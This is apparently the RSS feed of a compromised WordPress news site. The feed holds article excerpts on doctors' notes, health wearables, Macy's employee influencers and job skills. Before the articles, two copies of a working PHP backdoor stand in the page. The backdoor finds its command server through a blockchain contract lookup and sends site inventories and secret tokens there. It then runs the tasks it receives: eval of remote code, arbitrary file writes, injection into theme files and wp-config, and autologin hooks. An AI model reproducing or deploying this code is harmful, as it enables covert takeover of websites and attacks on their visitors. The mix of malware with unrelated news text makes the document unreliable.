// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Employers – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 18 Nov 2018 20:43:19 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Employers – Brief News https://briefnews.eu 32 32 Doctors’ group slams move to allow employers to require doctor’s note for minor illnesses https://briefnews.eu/doctors-group-slams-move-to-allow-employers-to-require-doctors-note-for-minor-illnesses/ https://briefnews.eu/doctors-group-slams-move-to-allow-employers-to-require-doctors-note-for-minor-illnesses/#respond Sun, 18 Nov 2018 20:43:19 +0000 http://briefnews.eu/doctors-group-slams-move-to-allow-employers-to-require-doctors-note-for-minor-illnesses/ hi-doctors-note

A national doctors’ group is raising concerns about the Ontario government’s move to allow employers to require workers to provide a doctor’s note to explain even minor illnesses, such as the common cold.

]]> https://briefnews.eu/doctors-group-slams-move-to-allow-employers-to-require-doctors-note-for-minor-illnesses/feed/ 0 Three untapped opportunities wearables present to health insurers, providers, and employers https://briefnews.eu/three-untapped-opportunities-wearables-present-to-health-insurers-providers-and-employers/ https://briefnews.eu/three-untapped-opportunities-wearables-present-to-health-insurers-providers-and-employers/#respond Sun, 30 Sep 2018 10:12:46 +0000 http://briefnews.eu/three-untapped-opportunities-wearables-present-to-health-insurers-providers-and-employers/  

  • After a shaky start, wearables like smartwatches and fitness trackers have gained traction in healthcare, with US consumer use jumping from 9% in 2014 to 33% in 2018.
  • More than 80% of consumers are willing to wear tech that measures health data — and penetration should continue to climb.
  • The maturation of the wearable market will put more wearables in the hands of consumers and US businesses.

The US healthcare industry as it exists today is not sustainable. An aging patient population and rising burden of chronic disease have caused healthcare costs to skyrocket and left providers struggling to keep up with demand for care. 

FORECAST: Fitness Tracker and Health-Based Wearable Installed BaseBusiness Insider Intelligence

See the rest of the story at Business Insider

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]]> https://briefnews.eu/three-untapped-opportunities-wearables-present-to-health-insurers-providers-and-employers/feed/ 0 How insurers, providers, and employers can harness new market opportunities using wearables https://briefnews.eu/how-insurers-providers-and-employers-can-harness-new-market-opportunities-using-wearables/ https://briefnews.eu/how-insurers-providers-and-employers-can-harness-new-market-opportunities-using-wearables/#respond Fri, 28 Sep 2018 22:25:50 +0000 http://briefnews.eu/how-insurers-providers-and-employers-can-harness-new-market-opportunities-using-wearables/ This is a preview of a research report from Business Insider Intelligence, Business Insider’s premium research service. To learn more about Business Insider Intelligence,  click here. Current subscribers can read the report here. 

bii wearables forecastBusiness Insider Intelligence

The healthcare industry is undergoing a necessary transformation due to pressure from ballooning healthcare costs, a rising burden of chronic disease, and shifting consumer expectations. And wearables — including smartwatches, fitness trackers, and other connected devices — are playing a key role in this transformation. 

See the rest of the story at Business Insider

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]]> https://briefnews.eu/how-insurers-providers-and-employers-can-harness-new-market-opportunities-using-wearables/feed/ 0 Employers Are Looking for ‘Influencers’ Within Their Own Ranks https://briefnews.eu/employers-are-looking-for-influencers-within-their-own-ranks/ https://briefnews.eu/employers-are-looking-for-influencers-within-their-own-ranks/#respond Thu, 27 Sep 2018 17:01:09 +0000 http://briefnews.eu/employers-are-looking-for-influencers-within-their-own-ranks/ On August 19th, a video appeared on the Macy’s website. It opens with a light-flooded room, in which a young woman sits in front of a mirror. “Macy’s” is spelled out on the wall in gold, glittering cardboard letters attached to a string with clothespins, like decorations at a child’s birthday party. The woman—Isabel Campbell, a digital assistant in the petites department at Macy’s—introduces herself. “I am a very relaxed type of girl—I love to just shop around, have brunch with my friends,” she says. “And this”—gesturing to her clothes—“is my go-to outfit: an oversized sweater from Free People and a Free People jean skirt.” If you like what you see, you can click the links that appear nearby to buy similar products from Macy’s.

Most people have never heard of Campbell, and that’s the point. Weary of celebrities who demand high salaries and unreliable Instagram “influencers,” Macy’s is making it possible for its own employees to serve as its brand ambassadors, through a project it calls Macy’s Style Crew. The strategy shift comes as brands are raising concerns about how many of their customers are truly being reached by digital advertising. Last year, for the first time, advertisers spent more on digital ads than on TV spots. Yet this is a season of disillusionment with social media—beyond its well-documented problems with hate speech, election malfeasance, and emotional manipulation. Instagram influencers with large followings are raising their rates to feature a company’s product in a sponsored post. Many of the influencers rarely follow federal disclosure requirements about advertising. Some wind up embarrassing brands with inappropriate comments or bad behavior. And occasionally it turns out that influencers aren’t that influential at all, and have audiences that can include fake and paid-for followers.

[Instagram “influencers” are driving luxury hotels crazy.]

Consumer-products companies, which have been huge advertisers online, are becoming more careful about their spending in response. Unilever has said it will no longer work with influencers who buy followers. Procter & Gamble, one of the world’s largest advertiser, cut its digital ad spending by $ 200 million last year, saying much of it was a waste.

Influencers, and those who represent them, are working to rebuild trust. In the meantime, it’s cheaper and safer, Macy’s hopes, to rely on one’s own employees. Because the retailer directly employs these workers, it is better able to control their behavior; if an employee discredits the company, Macy’s can fire him or her. “It’s easier to leverage assets that exist than creating something from nothing,” Marc Mastronardi, the executive vice president of business development at Macy’s, said at a retail conference in June.

Following a pilot with 20 employees, Macy’s has expanded its Style Crew to more than 300 people across the United States. Employees hope to benefit; the retailer has promised them incentives (that amount has not been publicly specified) if they help increase sales. But given the economics of platforms such as Instagram, it’s hard to imagine many are making much money. On social media, as in much of the economy, only a small number of top performers earn a lot. A highly visible Instagram influencer can charge roughly $ 1,000 per 100,000 followers, for each post. But the average payment for a sponsored Instagram post is only $ 300.

Some members of the Style Crew have more than 10,000 followers, but having fewer than 1,000 is more typical. (Campbell has 1,416 as of this writing.) This puts them in the category of “micro-influencers,” people with smaller, but presumably more loyal, audiences. Brands have been courting micro-influencers to see if they can get similar engagement (customers who like a post, make a purchase, or take other actions) without spending a lot. Their average rate, according to IZEA, a company that makes influencer-marketing software, is $ 62 for a sponsored photo. (Perhaps the true appeal of micro-influencers is that they get micropayments.)

“Macy’s Style Crew comprises colleagues who are passionate about servicing the customer, participants who want to create unique, authentic content, and who want to build their social media presence and get rewarded for their impact,” Mastronardi said in an email.

[Selling what they preach]

Macy’s isn’t the only company asking its staff to do more. Brands such as ModCloth and Sephora have recruited employees for ad campaigns. Others call on their customers. Maker’s Mark buyers who proselytize for the company can have their names added to a bourbon barrel and later get a chance to purchase a bottle from that batch. This summer, Tommy Hilfiger sold clothes embedded with Bluetooth trackers to what it calls a “micro-community of brand ambassadors.” The company will study how much people wear the items, and where, in exchange for gift cards and other merchandise.

There are more than 6,000 Instagram posts, so far, with the #macysstylecrew hashtag. Macy’s also has a Style Crew section on its website, with each video bearing links to clothes, accessories, or makeup available for sale. A few posts have sophisticated videography and editing, and appear to have been created with more input from the company. Most are what you might expect from people trying to squeeze extra work into already-full lives. One woman shoots her short Outfit of the Day videos with her cell phone pointed into a mirror, the way people used to before society perfected the selfie. “All the girls in my office are wearing denim skirts again. They’re back. Go get one. Bye!” she says. A young man enthusiastically explains Macy’s makeup specials from the corner of a borrowed room while traveling. “Why are we here today?” he asks. “A wedding,” someone patiently answers off camera. Some of the posts are just photos of perfume ads. One is a series of images of bras dangling from hangers, presumably in a Macy’s lingerie department.

Then there’s Candace Bryant, an administrative manager at Macy’s corporate office in Cincinnati, and perhaps the best example of why the Style Crew program exists. Warm and charismatic on camera, Bryant gives her co-workers makeovers and tells them they deserve to spend time on themselves. In one self-filmed video, she invites a colleague to share a poignant anecdote about overcoming negative self-scrutiny and developing confidence. Their backdrop is a window covered with horizontal blinds that overlooks a parking lot. The merchandise is present, but Bryant—whose personal Instagram feed is otherwise populated with inspirational quotes and images of herself singing at church—is the star.

[Turning customers into cultists]

Glimpses of regular people hoping to make a few extra bucks: It’s not glamorous, but it’s certainly relatable. The most credible form of marketing is recommendations from friends and family, according to Nielsen. Macy’s Style Crew collapses the façade of traditional advertising, with its agency fees, professional stylists, skilled photography, studio lighting, and hours of editing and retouching. (It also threatens the jobs of all the people who have built careers around filling those roles; see the upheaval at major advertising agencies for details.)

Instead, Macy’s is bringing the exposure economy in-house. Dissolve the haze of marketing lingo, though, and the company is inviting a group of mostly low-paid employees, who normally are compensated for selling merchandise, to spend more of their time—possibly uncompensated—selling that same merchandise to their families and friends. It’s a high-tech Tupperware party. As corporate profits rise and wages for regular people represent a shrinking portion of the U.S. economy, the Style Crew is hustling ever harder—just like most American workers. Want to buy a purse?

]]> https://briefnews.eu/employers-are-looking-for-influencers-within-their-own-ranks/feed/ 0 17 Versatile Work Skills Employers Want to See in Potential Employees https://briefnews.eu/17-versatile-work-skills-employers-want-to-see-in-potential-employees/ https://briefnews.eu/17-versatile-work-skills-employers-want-to-see-in-potential-employees/#respond Tue, 14 Aug 2018 17:01:58 +0000 http://briefnews.eu/17-versatile-work-skills-employers-want-to-see-in-potential-employees/ When we look at a job advertisement, it can seem as though employers want an exhaustive list of experience and technical skills from their new hire.They list desirable qualities such as ‘initiative’, ‘team player’ and ‘strong work ethic’. Those words can mean a variety of things to different people and it can be quite hard for employers to illustrate fully the combination of technical and soft skills they want their potential employees to have.What they often want is a mix of versatile skills that make it easy for them (and you) to adapt to the changing needs and demands which occur in businesses today.After all, adaptability and 